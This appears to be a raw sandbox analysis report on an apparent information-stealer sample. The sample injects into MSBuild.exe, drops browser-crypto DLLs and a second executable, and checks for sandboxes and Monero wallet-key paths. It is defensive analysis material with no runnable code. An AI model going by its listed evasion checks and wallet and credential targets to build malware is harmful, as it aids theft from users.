Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\ProgramData\KJEHJKJEBG.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\KJEHJKJEBG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: MSBuild.exe, 00000001.00000002.2767304923.0000000023B1D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: MSBuild.exe, 00000001.00000002.2763898778.000000001DBA6000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: MSBuild.exe, 00000001.00000002.2763898778.000000001DBA6000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: MSBuild.exe, 00000001.00000002.2787782401.000000006C64F000.00000002.00000001.01000000.00000007.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: softokn3.pdb@ source: MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: MSBuild.exe, 00000001.00000002.2777002776.0000000035961000.00000004.00000020.00020000.00000000.sdmp, vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: MSBuild.exe, 00000001.00000002.2770383080.0000000029A88000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: MSBuild.exe, 00000001.00000002.2787782401.000000006C64F000.00000002.00000001.01000000.00000007.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: MSBuild.exe, 00000001.00000002.2759657660.00000000178EA000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763587529.000000001D858000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: MSBuild.exe, 00000001.00000002.2767304923.0000000023B1D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: softokn3.pdb source: MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr

Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00418A63 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_00418A63

Source: sql[1].dll.1.dr	Static PE information: real checksum: 0x0 should be: 0x263795
Source: file.exe	Static PE information: real checksum: 0x9dd3a should be: 0x99de5
Source: KJEHJKJEBG.exe.1.dr	Static PE information: real checksum: 0x86d2b should be: 0x8abd5
Source: a43486128347[1].exe.1.dr	Static PE information: real checksum: 0x86d2b should be: 0x8abd5

Source: nss3.dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.1.dr	Static PE information: section name: .00cfg
Source: msvcp140[1].dll.1.dr	Static PE information: section name: .didat
Source: softokn3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.1.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.1.dr	Static PE information: section name: .didat
Source: sql[1].dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.1.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B2B142 push ecx; ret	0_2_00B2B155
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B2B2E0 push ds; retn 0003h	0_2_00B2B395
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B2B3A6 push ds; retn 0003h	0_2_00B2B395
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B2B45C push ds; retf 0003h	0_2_00B2B45D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B2D9F5 push 0000004Ch; iretd	0_2_00B2DA06
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B19DB5 push ecx; ret	0_2_00B19DC8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AD6EF4 push ecx; ret	0_2_00AD6F07
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042F262 push ecx; ret	1_2_0042F275
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00422E59 push esi; ret	1_2_00422E5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041DED5 push ecx; ret	1_2_0041DEE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00432715 push 0000004Ch; iretd	1_2_00432726
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C44B536 push ecx; ret	1_2_6C44B549
Source: C:\ProgramData\KJEHJKJEBG.exe	Code function: 5_2_00BA6EF4 push ecx; ret	5_2_00BA6F07

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\KJEHJKJEBG.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sql[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\a43486128347[1].exe	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\KJEHJKJEBG.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

1_2_00418A63

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 1.2.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.afcae0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.afcae0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.ad0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7304, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: file.exe, MSBuild.exe	Binary or memory string: DIR_WATCH.DLL
Source: file.exe, MSBuild.exe	Binary or memory string: SBIEDLL.DLL
Source: file.exe, MSBuild.exe	Binary or memory string: API_LOG.DLL
Source: MSBuild.exe, 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\.\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL16:07:4116:07:4116:07:4116:07:4116:07:4116:07:41DELAYS.TMP%S%SNTDLL.DLL

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: OpenInputDesktop,SetThreadDesktop,GetCursorPos,GetCursorPos,Sleep,Sleep,GetCursorPos,Sleep,Sleep,GetCursorPos,

1_2_0040180D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sql[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	API coverage: 8.5 %
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API coverage: 6.8 %
Source: C:\ProgramData\KJEHJKJEBG.exe	API coverage: 8.8 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7940	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe TID: 5216	Thread sleep count: 85 > 30			Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00410DDB GetKeyboardLayoutList followed by cmp: cmp eax, ebx and CTI: jbe 00410EEEh

1_2_00410DDB

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AE980F FindFirstFileExW,	0_2_00AE980F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041543D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	1_2_0041543D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00414CC8 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,strtok_s,FindNextFileA,FindClose,	1_2_00414CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	1_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00415FD1 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00415FD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040B93F
